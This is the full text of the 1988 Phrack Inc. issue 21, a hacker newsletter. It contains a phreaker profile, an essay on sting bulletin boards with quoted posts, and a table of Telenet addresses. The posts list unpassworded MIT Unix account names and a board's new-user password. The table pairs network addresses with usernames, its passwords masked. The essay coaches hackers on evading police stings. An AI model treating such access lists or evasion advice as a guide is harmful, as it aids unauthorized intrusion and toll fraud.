<> ~~~~~~~~~~

<> Shadows Of A Future Past \ The Judas Contract \ Subdivisions <>

<>

<> A three part series appearing in Phrack Inc. Newsletter. <>

<>

<><><><><><><><><><><><><><><><><><><><L><><><><><><><><><><><><><><><><><><><>

^*

21

- Index by Knight Lightning & Taran King

- Phrack Pro-Phile on Modem Master by Taran King

- Shadows Of A Future Past (Part 1 of the Vicious Circle Trilogy) by Knight Lightning

- The Tele-Pages by Jester Sluggo

- Satellite Communications by Scott Holiday

- Network Management Center by Taran King & Knight Lightning

- Non-Published Numbers by Patrick Townsend

- Blocking Of Long Distance Calls by Jim Schmickley

- Phrack World News Special Edition II by Knight Lightning

- Phrack World News Issue XXI Part 1 by Epsilon & Knight Lightning

- Phrack World News Issue XXI Part 2 by Epsilon & Knight Lightning

Index

==Phrack Inc.==

Volume Two, Issue 21, File 1 of 11

Phrack Inc. Newsletter Issue XXI Index

~~~~~~~~~~~~~~~~~~~~

November 4, 1988

Welcome to Phrack Inc. Issue XXI. So far, we've been relatively productive in getting files and getting issues together for the future. If you would like to contribute a file for Phrack Inc., please contact The Mentor or Epsilon and they will forward the files to us, or if you are on any of the connecting networks, send mail and/or files to Taran King's address: C488869@UMCVMB.BITNET. We are pleased to introduce a trilogy pertaining to the security of the phreak/hack community and various aspects thereof. The first file, "Shadows Of A Future Past" and the next two files will be in the next two issues, so be watching for those. It's great to be "back."

Taran King & Knight Lightning

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

This issue contains the following files;

1. Index by Taran King and Knight Lightning

2. Phrack Pro‑Phile on Modem Master by Taran King

3. Shadows Of A Future Past (Part 1 of the Vicious Circle Trilogy) by KL 4. The Tele‑Pages by Jester Sluggo

5. Satellite Communications by Scott Holiday

6. Network Management Center by Knight Lightning and Taran King 7. Non‑Published Numbers by Patrick Townsend

8. Blocking Of Long Distance Calls by Jim Schmickley

9. Phrack World News Special Edition II by Knight Lightning

10. Phrack World News Issue XXI Part 1 by Knight Lightning and Epsilon 11. Phrack World News Issue XXI Part 2 by Knight Lightning and Epsilon

Phrack Pro-Phile on Modem Master

==Phrack Inc.==

Volume Two, Issue 21, File 2 of 11

== Phrack Pro‑Phile XXI ==

The Phrack Pro‑Phile's purpose is to present to the reader profiles of older or influential hackers or phreakers that have or do exist. This month's Pro‑Phile features a user of past days...Modem Master, a.k.a. Napoleon Solo.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Personal Information

~~~~~~~~~~~~~~~~~~~~

Handle: Napolean Solo

Call me: Scott

Past Handle: Modem Master

Handle Origin: I used to be a real "Man from UNCLE" fan D.O.Birth: March 29, 1970

Current Age: 18 yrs.

Height: 6'0"

Weight: 207 lbs

Eyes: Hazel

Hair: Light Brown

Computers: Apple //+, Apple //gs, normal extra hardware, 2400 baud modem

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

I started on my way to hackerdom in early 1983 when I bought my first modem, a Networker 300 baud (What a gem!!) to use in my Apple II+. I asked the salesperson for the numbers of the local boards (at the time there were a whole 3 here, and one was an IBM users group board). Well, it just so happened one was an Apple board run on an old version of Networks II, with a sysop who had been known to rip off a local extender here and there. After chatting with him for a while he realized I was one of those eager‑to‑learn Jr. High kids, so he put me in touch with several other users of his board. Well, one of those was Simon Templar, who would later be the sysop of the Pearly Gates, and I guess to me, about as close a friend a phreak can have that lives 1000 miles a way.

Simon gave me my first code (to an 800 number owned by LDX), and the numbers of some boards where I might pick up some more additional knowledge (IC's Socket, AT&T Phone Center, and Sherwood Forest). Well, after pestering just about anybody that seemed to know ANYTHING, I was on my way. Soon, I was frequenting at least one board in almost every area code. I also learned the advantage of scanning exchanges, I found several local PBXes and a Sprint indial that nobody seemed to known about. That facilitated my "habit" even more and I then found a little Diversi‑Dial dubbed "Beandial." That was where I really got off the ground. It was frequented by many knowledgeable phreaks, so between that and all of the BBSes I was on, I had a wealth of knowledge to look to all at my fingertips when I had a question.

Beandial also left me with several good friends, the most notable being Lord Kahz. It also put me in touch with someone rather well known, King Blotto (you should have seen my face the night my phone rang and the guy at the other end said "Hi, this is King Blotto, wanna be on my board?" and gave me the number!). As of the last several years, I have left the mainstream phreaking life, and only look in once in a while through past friends. That may change now, as Taran King and Knight Lightning have shown me that there are in fact TRUE phreaks left. I was beginning to doubt it, hence my absence.

Memorable bulletin boards that I have been on include; The Pearly Gates, AT&T Phone Center, Blottoland (even though I was only actually on during the last phase of its life), and Bean Dial, plus all the normal ones that everybody and his brother were on.

Currently I am enrolled at North Dakota State University, majoring in computer engineering. I work at McDonalds flippin' dem burgers.

Regrets

~~~~~~~

I regret leaving the phreak world in the first place, I was disillusioned with all the little nerds with computers and modems who thought they were phreaks just because some dork they knew gave them a code.

Favorite Things

~~~~~~~~~~~~~~~

Chicks: The ones with really big... uh.. Brains! Thats it! Ya know, they stick out their bras.. Uh.. I mean their intelligence protrudes!! Ya! thats it!

People: I like just about anybody who has something interesting and meaningful to talk about (and chicks with big ****)

Music: 70's music like Led Zeppelin, and most heavy metal bands. I also can go for top 40 as long as we aren't talking Whitney, or Jackson, or G. Michael or some other puke like that.

Most Memorable Experiences

~~~~~~~~~~~~~~~~~~~~~~~~~~

The time me and a friend from Idaho called this local guy who THOUGHT he was a phreak. I talked to him on one line, while MIKE talked to him long distance on another, convincing him that AT&T security had really busted his ass. I've never heard ANYONE sound so scared in my life! HAHAH

Starting on my high school's varsity football team for two years instead of the average 0‑1 yr.

Some people to mention

~~~~~~~~~~~~~~~~~~~~~~

Lord Kahz

Cookie Cruncher

Android Base ‑‑ for pointing me in the right direction

Simon Templar ‑‑ for taking that direction and showing me what to do with it.

All others who have helped me in anyway, whether it be questions I had, or whatever else... Thanks.

Inside Joke

~~~~~~~~~~~

To Kahz: "Hey MM, let's call Mari!"

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Serious Section

~~~~~~~~~~~~~~~

I think people who abuse CCs are assholes. That does nothing but hurt all of us; all that comes out of it is one person's gain and many people's suffering. Example; Sysops of the board where the inevitably BUSTED asshole posted his CC numbers.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Although he has never met any hackers, Scott feels that there are a few geeks out there based on some of his phone conversations.

Thanks for your time Scott.

Shadows Of A Future Past (Part 1 of the Vicious Circle Trilogy)

==Phrack Inc.==

Volume Two, Issue 21, File 3 of 11

<><><><><><><><><><><><><><><><><

<>

<> Shadows Of A Future Past <>

<> ~~~~~~~~~~~~~

<> Part One Of The Vicious Circle Trilogy <>

<>

<> A New Indepth Look At A Re‑Occurring Problem <>

<> by Knight Lightning <>

<>

<> August 6, 1988 <>

<>

<><><><><><><><><><><><><><><><><

The Problem?

~~~~~~~~~~~~

The fate of the entire modem community for the most part is based on the foundation of computer bulletin boards. These realms of information exchange have become centers of learning and trading various information for thousands of hackers across the United States and even the world.

However, today's security consultants and law enforcement agencies are smarter than ever too and they know where to strike in order to do the most damage. The concept of creating a bulletin board for the purpose of catching hackers was unheard of until The Phoenix Phortress Incident of 1986. The creation of this bulletin board system enabled Sergeant Dan Pasquale of the Fremont Police Department the ability to penetrate the sacred barrier between the phreak/hack community and the rest of the world.

This file will attempt to show the extent of this problem within the community and hopefully will lead readers to discover ways of protecting themselves from the many "venus fly traps" they are likely to encounter. Articles presented in this file are specially edited reprints from past issues of Phrack World News.

The Evidence ‑ The unseen truths reside in the shadows of our past and future. ~~~~~~~~~~~~

The following is an excerpt from Phrack World News Issue III;

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Phoenix Phortress Stings 7

~~~~~~~~~~~~~~~~~~~~~~~~~~

On March 5, 1986, the following seven phreaks were arrested in what has come to be known as the first computer crime "sting" operation.

Captain Hacker \ Doctor Bob \ Lasertech \ The Adventurer The Highwayman \ The Punisher \ The Warden

Many of them or other members of Phoenix Phortress belonged to these groups:

High Mountain Hackers \ Kaos Inc. \ Shadow Brotherhood \ The Nihilist Order

Of the seven, three were 15 years old; two were 16; one was 17; and one, 19.

Their charges include:

Several misdemeanors

Trafficking in stolen long distance service codes

Trafficking in stolen credit card numbers

Possession of stolen property

Possession of dangerous weapons (a martial arts weapon)

Charging mail‑order merchandise to stolen credit card numbers Selling stolen property

Charging calls internationally to telephone service numbers

Other phreak boards mentioned include:

Bank Vault (Mainly for credit card numbers and tips on credit card scams) Phreakers Phortress (Mainly of course for phreak codes and other information)

After serving search warrants early Wednesday morning on the seven Fremont residences where the young men lived with their parents, police confiscated at least $12,000 worth of equipment such as computers, modems, monitors, floppy disks, and manuals, which contained information ranging from how to make a bomb, to the access codes for the Merrill Lynch and Dean Witter Financial Services Firm's corporate computers.

The sysop of Phoenix Phortress was The Revenger, who was supposedly Wally Richards, a 25 year‑old Hayward man who "phreaked back east a little" in New Jersey. He took the phone number under the name of Al Davis. However he was really Sgt. Daniel Pasquale of the Fremont Police Department.

When he introduced his board to other computer users, he called it the "newest, coolest, phreak board in town."

Pasquale said he got the idea for the sting operation after a 16‑year old arrested last summer for possession of stolen property "rolled them over (narced) He told us all about their operation."

Pasquale used a police department Apple //e computer and equipment, with access

codes and information provided by eight corporations, including Wells Fargo Bank, Sprint, and MCI.

Pasquale said he received more than 2,500 calls from about 130 regular users around the country. The police started to make their first case three days after the board went up.

"We had taken the unlisted phone number under the name Al Davis," Pasquale said. "In six days, these kids had the name on the bulletin board. I would have needed a search warrant to get that information."

The arrests were made after five months of investigation by Dan Pasquale.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

The Phoenix Phortress incident only led to the arrest of seven hackers. However, at the same time it enabled the law enforcement agencies to gather information about over one hundred other hackers, systems being discussed, anything transmitted in electronic mail on the bulletin board, and most likely gave them information about hundreds of other hackers, bulletin boards, and so forth.

The following is an excerpt from Phrack World News Issue VII;

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Maxfield Strikes Again August 20, 1986

~~~~~~~~~~~~~~~~~~~~~~

Many of you probably remember a system known as "THE BOARD" in the Detroit 313 NPA. The number was 313‑592‑4143 and the newuser password was "HEL‑N555,ELITE,3" (then return). It was kind of unique because it was run off of an HP2000 computer.

On August 20, 1986 the following messages began to appear on THE BOARD;

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Welcome to MIKE WENDLAND'S I‑TEAM sting board! (Computer Services Provided By BOARDSCAN) 66 Megabytes Strong

300/1200 baud ‑ 24 hours.

Three (3) lines = no busy signals! Rotary hunting on 313‑534‑0400.

Board: General Information & BBS's

Message: 41

Title: YOU'VE BEEN HAD!!!

To: ALL

From: HIGH TECH

Posted: 8/20/86 @ 12.08 hours

Greetings:

You are now on THE BOARD, a "sting" BBS operated by MIKE WENDLAND of the WDIV‑TV I‑Team. The purpose? To demonstrate and document the extent of criminal and potentially illegal hacking and telephone fraud activity by the so‑called "hacking community."

Thanks for your cooperation. In the past month and a half, we've received all sorts of information from you implicating many of you to credit card fraud, telephone billing fraud, vandalism, and possible break‑ins to government or public safety computers. And the beauty of this is we have your posts, your E‑Mail and‑‑‑ most importantly ‑‑‑your REAL names and addresses.

What are we going to do with it? Stay tuned to News 4. I plan a special series of reports about our experiences with THE BOARD, which saw users check in from coast‑to‑coast and Canada, users ranging in age from 12 to 48. For our regular users, I have been known as High Tech, among other ID's. John Maxfield of Boardscan served as our consultant and provided the HP2000 that this "sting" ran on. Through call forwarding and other conveniences made possible by telephone technology, the BBS operated remotely here in the Detroit area.

When will our reports be ready? In a few weeks. We now will be contacting many of you directly, talking with law enforcement and security agents from credit card companies and the telephone services.

It should be a hell of a series. Thanks for your help. And don't bother trying any harassment. Remember, we've got YOUR real names.

Mike Wendland

The I‑team

WDIV, Detroit, MI.

Board: General Information & BBS's

Message: 42

Title: BOARDSCAN

To: ALL

From: THE REAPER

This is John Maxfield of Boardscan. Welcome! Please address all letter bombs to Mike Wendland at WDIV‑TV Detroit. This board was his idea.

The Reaper (a.k.a. Cable Pair)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

John Maxfield was in general extremely proud of his efforts with THE BOARD and he said that a lot of the people he voice verified should have known it was him. According to John Maxfield, the only reason this sting board was put up was to show "What is currently happening in the phreak/hack community." He said no legal action will be taken at all, and besides, its fattened his "dossiers" on a lot of people!

[The news stories for WDIV‑TV 4 appeared in Phrack World News Issue IX.]

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Now, this is a classic example of people not learning from other people's mistakes. At some point in time prior to this incident, the number for THE BOARD was posted, it was given a lot of hype and eventually it drew in hackers to THE BOARD like flies to a spider web from which the unsuspecting users never broke free.

That is the point I am trying to make ‑‑ today's phreak/hacker must learn to be more security conscious. What makes anyone think that they can trust someone just because they are running a bulletin board? This blind faith is what will be the downfall of many a hacker until they wise up and start paying attention to what they are doing. Safety first; the stakes in this game are a lot higher than no television after school for a week because once a hacker's phone number falls into the wrong hands, the law enforcement community or organizations like the Communications Fraud Control Association (CFCA) can find out everything about you. I know because I have seen their files and their hacker data base is so incredibly large and accurate...its unbelievable.

The following is an excerpt from Phrack World News Issue XIV;

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Metalland South: Phreak BBS or MetaliFEDS Inc.? June 2, 1987

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Metalland South BBS, at 404‑327‑2327, was once a fairly well known bulletin board, where many respected members of the hack/phreak community resided. It was originally operated by two guys from Metal Communications, Inc., but it wasn't an MCI club board. The sysop was Iron Man and the co‑sysop was Black Lord. Recently, it has come to the writer's attention, that MLS has come under new management, new policies, and possibly a new idea; Sting.

Somewhere around September‑October 1986, Iron Man removed all of the hack/ phreak related subboards as well as all G‑philes from the system. He was apparently worried about getting busted. The last time this reporter spoke with him, Iron Man said he intended to put the hack/phreak subs back up. Then, not long after this conversation, the number was changed (The original number was 404‑576‑5166).

A person using the alias of The Caretaker was made co‑sysop and Iron Man would not reply to feedback. Everything was handled by The Caretaker [TC from now on]. TC did not allow any hack/phreak subs, but said he would put them up if the users would follow STRICT validation procedures.

Strict validation on MLS includes:

^*^ Your Real Name

^*^ Your Address

^*^ Your Voice Phone Number

^*^ A Self‑Addressed Envelope (in which he will send back with your account

number and password.)

It is obvious to see the ramifications here. A board or sysop gets busted and then makes a deal to turn over the board to some company or agency. To make sure that they get who they want, you have to give them all this info, and the only you can get a password is to let them mail it to you, thus guaranteeing that if something illegal is posted under that account, you are responsible, no ifs, ands, or buts.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

There was more information that went on to prove that Metalland South was indeed some kind of a trap or sting board and the whole aura of mystery surrounding this system made it not worth calling.

Do not EVER give a sysop your address so he can send you your password. There is no need for such information as it can only hurt you severely and would not benefit the sysop in any way that would leave you unharmed.

One other item concerning bulletin boards comes from PWN Issue V where mention of yet another hacker sting board named The Tunnel was discovered in Texas. And lets not forget about TMC's P‑80, sysoped by Scan Man, that was responsible for the apprehension of Shawn of Phreakers Quest (also known as Capt. Caveman).

However, do not fool yourself into believing that bulletin boards are the only places you are likely to run into trouble. Regular systems that you like to work with may be just as dangerous if you are not careful. Druidic Death and Celtic Phrost found this out the hard way on the Unix system at MIT as they nearly succumbed to the power of progressive entrapment which would have doomed them both.

The following is an excerpt from Phrack World News Issue XI;

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

MIT Unix: Victim or Aggressor? January 23 ‑ February 2, 1987

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Was the MIT system an innocent victim of hacker oppression or simply another trap to capture unsuspecting hackers in the act?

It all started like this...

[Some posts have been slightly edited to be relevant to the topic]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MIT

Name: Druidic Death

Date: 12:49 am Mon Jan 20, 1986

Lately I've been messing around on MIT's VAX in there Physics Department.

Recently some one else got on there and did some damage to files. However MIT told me that they'll still trust us to call them. The number is:

617‑253‑XXXX

We have to agree to the following or we will be kicked off, they will create a "hacker" account for us.

<1> Use only GUEST, RODNEY, and GAMES. No other accounts until the hacker one is made. There are no passwords on these accounts.

<2> Make sure we log off properly. Control‑D. This is a UNIX system. <3> Not to call between 9 AM and 5 PM Eastern Standard Time. This is to avoid tying up the system.

<4> Leave mail to GEORGE only with UNIX questions (or C). And leave our handles so he'll know who we are.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Unix

Name: Celtic Phrost

Date: 4:16 pm Mon Jan 20, 1986

Thanks Death for the MIT computer, I've been working on getting into them for weeks. Here's another you can play around with:

617/258‑XXXX login:GUEST

Or use a WHO command at the logon to see other accounts, it has been a long time since I played with that system, so I am unsure if the GUEST account still works, but if you use the WHO command you should see the GUEST account needed for applying for your own account.

‑Phrost

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Unix

Name: Celtic Phrost

Date: 5:35 pm Mon Jan 20, 1986

Ok, sorry, but I just remembered the application account, its: OPEN Gawd, I am glad I got that off my chest!

‑(A relieved)Celtic Phrost.

Also on that MIT computer Death listed, some other default accounts are:

LONG MIKE GREG NEIL DAN

Get the rest yourself, and please people, LEAVE THEM UNPASSWORDED!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MIT

Name: Druidic Death 12

Date: 1:16 am Fri Jan 23, 1987

MIT is pretty cool. If you haven't called yet, try it out. Just PLEASE make sure you follow the little rules they asked us about! If someone doesn't do something right the sysop leaves the gripe mail to me. Check out my directory under the guest account just type "cd Dru". Read the first file.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MIT

Name: Ctrl C

Date: 12:56 pm Sat Jan 24, 1987

MIT Un‑Passworded Unix Accounts: 617‑253‑XXXX

ALEX BILL GAMES DAVE GUEST DAN GREG MIKE LONG NEIL TOM TED BRIAN RODNEY VRET GENTILE ROCKY SPIKE KEVIN KRIS TIM

And PLEASE don't change the Passwords....

‑=>Ctrl C<=‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MIT Again

Name: Druidic Death

Date: 1:00 pm Wed Jan 28, 1987

Ok people, MIT is pissed, someone hasn't been keeping the bargain and they aren't too thrilled about it. There were only three things they asked us to do, and they were reasonable too. All they wanted was for us to not compromise the security much more than we had already, logoff properly, not leave any processes going, and call only during non‑business hours, and we would be able to use the GUEST accounts as much as we like.

Someone got real nice and added themselves to the "daemon" group which is superusers only, the name was "celtic". Gee, I wonder who that could have been? I'm not pissed at anyone, but I'd like to keep on using MIT's computers, and they'd love for us to be on, but they're getting paranoid. Whoever is calling besides me, be cool ok? They even gave me a voice phone to chat with their sysops with. How often do you see this happen?

A little perturbed but not pissed...

DRU'

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Tsk, Celtic.

Name: Evil Jay

Date: 9:39 am Thu Jan 29, 1987

Well, personally I don't know why anyone would want to be a superuser on the system in question. Once you've been on once, there is really nothing that interesting to look at...but anyway.

‑EJ

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In trouble again...

Name: Celtic Phrost

Date: 2:35 pm Fri Jan 30, 1987

...I was framed!! I did not add myself to any "daemon" group on any MIT UNIX. I did call once, and I must admit I did hang up without logging off, but this was due to a faulty program that would NOT allow me to break out of it, no matter what I tried. I am sure that I didn't cause any damage by that.

‑Phrost

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Major Problems

Name: Druidic Death

Date: 12:20 pm Sat Jan 31, 1987

OK, major stuff going down. Some unidentified individual logged into the Physics Dept's PDP11/34 at 617‑253‑XXXX and was drastically violating the "agreement" we had reached. I was the one that made the "deal" with them. And they even gave me a voice line to talk to them with.

Well, one day I called the other Physics computer, the office AT and discovered that someone created an account in the superuser DAEMON group called "celtic". Well, I was contacted by Brian through a chat and he told me to call him. Then he proceeded to nicely inform me that "due to unauthorized abuse of the system, the deal is off".

He was cool about it and said he wished he didn't have to do that. Then I called George, the guy that made the deal and he said that someone who said he was "Celtic Phrost" went on to the system and deleted nearly a year's worth of artificial intelligence data from the nuclear fission research base.

Needless to say I was shocked. I said that he can't believe that it was one of us, that as far as I knew everyone was keeping the deal. Then he (quite pissed off) said that he wanted all of our names so he can report us to the FBI. He called us fags, and all sorts of stuff, he was VERY!! [underline twice] PISSED! I don't blame him. Actually I'm not blaming Celtic Phrost, it very easily could have been a frame up.

But another thing is George thinks that Celtic Phrost and Druidic Death are one and the same, in other words, he thinks that *I* stabbed him in the back. Basically he just doesn't understand the way the hacker community operates.

Well, the deal is off, they plan to prosecute whoever they can catch. Since George is my best friend's brother I have not only lost a friend, but I'm likely to see some legal problems soon. Also, I can forget about doing my graduate work at MIT. Whoever did this damage to them, I hope you're happy. You really messed things up real nice for a lot of people.

Celtic, I don't have any reason to believe you messed with them. I also have no reason to think you didn't. I'm not making an accusation against you, but WHOEVER did this, deserves to be shot as far as I'm concerned. Until this data was lost, they were on the verge of harnessing a laser‑lithium produced form of nuclear fission that would have been more efficient than using the standard hydrogen. Well, back to the drawing board now.

I realize that it's hard to believe that they would have data like this on this system. But they were quite stupid in many other areas too. Leaving the superuser account with no password?? Think about it.

It's also possible that they were exaggerating. But regardless, damage seems to have been done.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MIT

Name: Phreakenstein

Date: 1:31 am Sun Feb 01, 1987

Heck! I dunno, but whoever it was, I think, should let himself (the s00per K‑rad elyte d00d he is) be known.

I wasn't on MIT, but it was pretty dumb of MIT to even let Hackers on. I wouldn't really worry though, they did let you on, and all you have to prove is that you had no reason to do it.

‑‑‑‑Phreak

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I wonder...

Name: Ax Murderer 15

Date: 6:43 pm Sun Feb 01, 1987

I highly doubt that is was someone on this system. Since this is an elite board, I think all the users are pretty decent and know right and wrong things to do. Could be that one of the users on this system called another system and gave it out!??

Ax Murderer

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

It was stupid

Name: Druidic Death 12

Date: 9:21 pm Sun Feb 01, 1987

It seems to me, or, what I gathered, they felt that there were going to be hackers on the system to begin with and that this way they could keep themselves basically safe.

I doubt that it was Celtic Phrost, I don't think he'd be an asshole like that. But I can't say. When I posted, I was pretty pissed about the whole deal. I've calmed down now. Psychic Warlord said something to me voice the other day that made me stop and think. What if this was a set up right from the start? I mean, MIT won't give me specifics on just what supposedly happened, Celtic Phrost denies everything, and the biggest part of it is what George said to me.

"We can forgive you for what you did to us if you'll promise to go straight and never do this again and just tell us who all of your friends are that are on the system".

I didn't pay much attention to that remark at first, now I'm beginning to wonder...

I, of course, didn't narc on anyone. (Who do I know??? hehe)

DRU'

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Comments...

Name: Delta‑Master

Date: 7:15 am Mon Feb 02, 1987

It wouldn't surprise me if it was some kind of setup, it's been done before.

Delta‑Master

[All posts in this article were taken from ShadowSpawn.]

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

The Solution

~~~~~~~~~~~~

What more is there to say? It definitely looks like there was a setup involved and it probably was not the first time and probably will not be the last time either. So how can you protect yourself?

As far as the bulletin boards go. There is an unwritten rule somewhere that basically says that to be a good sysop, you first have to be a good user. If the sysop of some mystery board is not someone you have seen around for a long time, then I would not call. However, even if it is someone who has been around, references from someone you feel you can trust is a necessity. It all boils down to the reliability of the information and the persons involved.

When dealing with systems like the MIT Unix, remember, if its too good to be true then most likely there will be something that you are not being told. Who in their right mind is going to give free accounts to an important system with delicate information to a group of hackers? Its crazy.

This file will hopefully serve as an informative fresh look at an old game. To me, even if the time I spent putting this article together helps out or saves only one phreak/hacker, I feel my job has been done successfully.

:Knight Lightning

"The Future Is Forever"

The Phoenix Project

The Tele-Pages

==Phrack Inc.==

Volume Two, Issue 21, File 4 of 11

:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.

:.:.:

:.: The Tele‑Pages :.:

:.: ~~~~~~~~

:.: Telenet Nodes/Addresses :.:

:.:

:.: Collected by Anonymous Sources :.:

:.:

:.: From Europe, United Kingdom, and The Middle East :.:

:.:

:.: Imported into the USA by Jester Sluggo :.:

:.:

:.: Special Thanks To Sefi :.:

:.:

:.: October 7, 1988 :.:

:.:.:

:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.

This file contains the list of Telenet nodes/addresses you use when you are outside of USA/Canada (Example: United Kingdom, Europe, or the Middle East). Very much 'thanks' goes towards the wonderful, people who worked

infinite‑months on this. Sluggo !!

(* = Passwords that have been removed for this presentation. ‑ KL)

________________________________________

| |

Name |Number |Ext.|User Name |Password |KN|DN|NO|Test|Land|

========================================

Us Telemail |031102020014 | |KKCHUNG |******** | |XX| | | US | Uni Brighton |023427050015 | |GUEST |******* | |XX| | | UK | Sysnet Wien |023224221142 |MAI |Gast |**** | |XX| | | AT | |023424126010604 |,5020015 |*****/*****| |XX| | | UK |

|026243221093001 |U 5Jm11964,|***** | |XX| | | | |03422351919169 |,10404000 |******( *x)| |XX| | | | Z E V |022847911118 | |EPSON |***** | |XX| | | CH | Altos | 45890040004 | |Woodo |****(***** | |XX| | | DE | Mehlbox HAM | 45400090184 | |Mike |****** | |XX| | | DE | E C H O | 0270448112 | |UK85041D |******** |XX| | | | NE |

Eis ‑ Vax |???????????? | |????????????|??

B I X |031060057878 | |Rupert |‑‑‑‑‑‑‑‑‑‑‑| | | | | US |

C.L.I.N.C.H. | 4440009031 | |Gast |**** | | | | | DE |

| 45690090125 | |KO/VMUTIL |****** | |XX| | | DE | E X C O N |022849911102001 |Call 130 |*** | |XX| | | CH | |023422351919169 |,49000001 |*******/**** |XX| | | UK |

R M I Aachen | 45241090832 | |Guest (Menue 20.3) *****| | | | | DE | Markt & Tech. | 45890010006 | |EMERY04 |???????????|XX| | | | DE | Markt & Tech. | 45890010006 | |EMERY05 |???????????| |XX| | | DE | K D D Vax | 0440820023 | |Conf |**** | |XX| | | JA |

Emery ADO | 03106907626 | |CICS4\D |***** | | | | | US |

Euronet | 023421920100513 |Tikatom | | |XX| | | NE |

Netztest DE | 4590049002 |ECHO| | | | | | |DE |

Netztest AU | 05053210001 | | | | | | AU |

The Source |0311030100038| |Jinatari |********* | | | |DEMO| US | The Source |0311030100038| |Josh1 |******** | |XX| | | US |

Delphi |0311061703088| |‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑| | | |US |

Nuclear Res. | 03110500061 | |Bill |******* | |XX| | | US | E.S.A. |023421920115600 |MAR15540 | | |XX| | | NE | Hazylab | 45400030201 | |User |**** | |XX| | | DE | |023421880100300 |Mudguest |******** | |XX| |18‑8| NE | | 4511042301 | |zzve099/zzueb|******/******* | | | DE |

Datapac | 030292100086| |‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑| | | |CA |

Dallas | 0310600787 | |‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑| | | US |

A M P |023422020010700 |Use Demo Account | | | | | UK |

Canada |0302067100901| |‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑| | | |CA |

Telenet |0311020200141| |Telemailintl|**** ******| |XX| | | US | A D P Network |034219200118 | |1300‑7777 |*** | |XX| | | NE | Hostess |023421920101013 |Euonet |***** | |XX| | | NE | G D P T T |02284410906 | |mit \G Laeuten NUA *****| | | | | IT |

Tymnet |4561040250 | | | | | |DE |

Autonet |45611040076 | | | | | | DE |

PSS DOC |02421920101013 | | | | | |

